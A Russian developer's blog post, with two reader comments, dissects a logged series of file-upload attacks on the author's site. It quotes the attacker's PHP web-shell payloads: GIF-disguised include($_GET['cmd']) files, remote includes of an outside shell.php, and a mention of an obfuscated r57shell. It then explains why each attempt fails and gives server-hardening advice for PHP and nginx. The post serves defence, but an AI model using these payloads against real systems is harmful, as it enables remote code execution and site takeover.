заметки на полях

Блокнот разработчика

Hacking часть III

Застал опять в логах наинтереснейшую историю, длилась которая без малого 2 часа. Где искали дырку – стандартно в загрузке файлов. Здесь необходимо оговориться, что файлы можно загружать разные, не только картинки, а к примеру pdf, zip, doc, xls и т. д. Попытки пронумерую (для удобства отсылки к уже поясненному материалу) и прокомментирую. Кстати, нечто подобное уже было (см. здесь), но не совсем то. И так, приступим!

1., 2. Первая и вторая попытка в 22:23, файл cmd.gif и images.gif (зачем два непонятно) следующего содержания:

GIF89aV , ...
<?php include($_GET["cmd"]); ?>

Такое в принципе возможно, т. к. в изображение можно добавлять комментарии, в которые и можно вставить PHP код. Функция getimagesize при этом будет возвращать реальный размер картинки без ошибок. Но такая лазейка возможна только если на сервере файлы .gif передаются на обработку PHP. Некоторые вкорячивают обработку и для html, что то тоже моветон.

3. В 22:26 было решено попробовать в файле 123.php.jpg втупую впихнуть код:

<?php include($_GET['cmd']); ?>

Такое вариант тоже может прокатить, но только при условии не внимательного конфигурирования обработки php, как то вот так

location ~ \.php

Допускаю что такое может придти в голову, если используются несколько разрешений, к примеру .php, php3, php5. Но вообще ИМХО такое уже давно не встречается.

4. В 22:38 (дальнейшее штудирование «хакинга для чайников» подсказало) решено объединить п. 1 и п. 3 опять же в gif cmd2.gif для конструкции

GIF89aV ,
<?php include("http://внешний-URL/shell.php"); ?>

Данная конструкция нежизнеспособна, т. к. нежизнеспособен способ из п. 1, а если бы даже обработка изображений отдавалась на php, то в php.ini есть параметр, который по умолчанию выключен и включать его нет совершенно никакой необходимости:

;Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off

5. Следующая попытка в 22:43 с файлом cmd3.php.txt и содержимым:

<?php include("http://внешний-url/shell.php"); ?>

не очень интересна, т. к. была заранее обречена на провал.

6. А вот здесь, через две минуты, уже пошел работать ум пытливого хакера, в подсознании всплывали обрывки мыслей про другие скрипты, JavaScript`ы. А что, вдруг в разметку легким взмахом клавиш можно таки встроить PHP. И так, слабонервных отойти от экрана – файл cmd4.php.txt:

<script language="php">
include("http://внешний-url/shell.php");
</script>

А мужики то и не знают…

7. 22:52 333.php.jpg

<?php include($_GET["cmd"]); ?>

8. 23:01 777.gif

<?
if(isset($_GET['shell'])){
include('http://внешний-url/shell.php');
}
?>

Здесь даже комментировать нечего, просто .gif попытка url_include – epic fail

9. Три попытки xxx.gif, xxx1.gif и xxx2.gif – завернутый в 3 конструкции eval( gzinflate( base64_decode( так называемый r57shell web shell. Только вот как он должен был заработать, если не заработал предыдущий вариант – непонятно

10. И опять за старое – 23:55 qwe.gif

<?php include($_GET['cmd']); ?>

11. 00:10 qqq.gif

GIF89aV ,
<?php $brd = fopen('file.php','w+'); $write = fwrite($brd, $file); ?>

Здесь совершенно не понятно что собиралось писаться в файл, т. к. в настройках стоит register_globals = Off и конструкция вида qqq.gif?file=%3C%3Fphp+include%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E не проканала бы

12. 00:12 zzz.gif

GIF89aV ,
<?php echo "porn"; ?>

Из разряда дайте уже хоть что нибудь )))

13. Ну и последняя попытка 00:14 fff.gif

GIF89aV ,
<?php include($_GET['cmd']); ?>

В качестве послесловия. Все мы люди и при написании кода забыть какую нить проверку при загрузке файла можно легко, поэтому надо отдельное внимание уделять настройкам сервера. Никаких register_globals = On, allow_url_include = On и т. д. Но самое главное, весь загружаемый контент не предназначен для выполнения, а только для отдачи. Поэтому обязательно, для всех директорий куда кладутся загружаемые файлы необходимо убирать обработку PHP, примерно вот так:

location ~ /upload/ { }

Tags:

2 Responses to “Hacking часть III”

  1. Сергей Says:

    Точно ли конструкция
    location ~ \.php
    в конфиге Nginx ропустит 123.php.jpg к интерпретатору?

  2. Дерябин Сергей Says:

    Да, на всякий случай только что проверил :) такая вот конструкция

    location ~ \.php

    пропускает все что имеет .php и не обязательно на конце, в том числе и файлы 123.php.jpg

    Должно быть так

    location ~ \.php$

Leave a Reply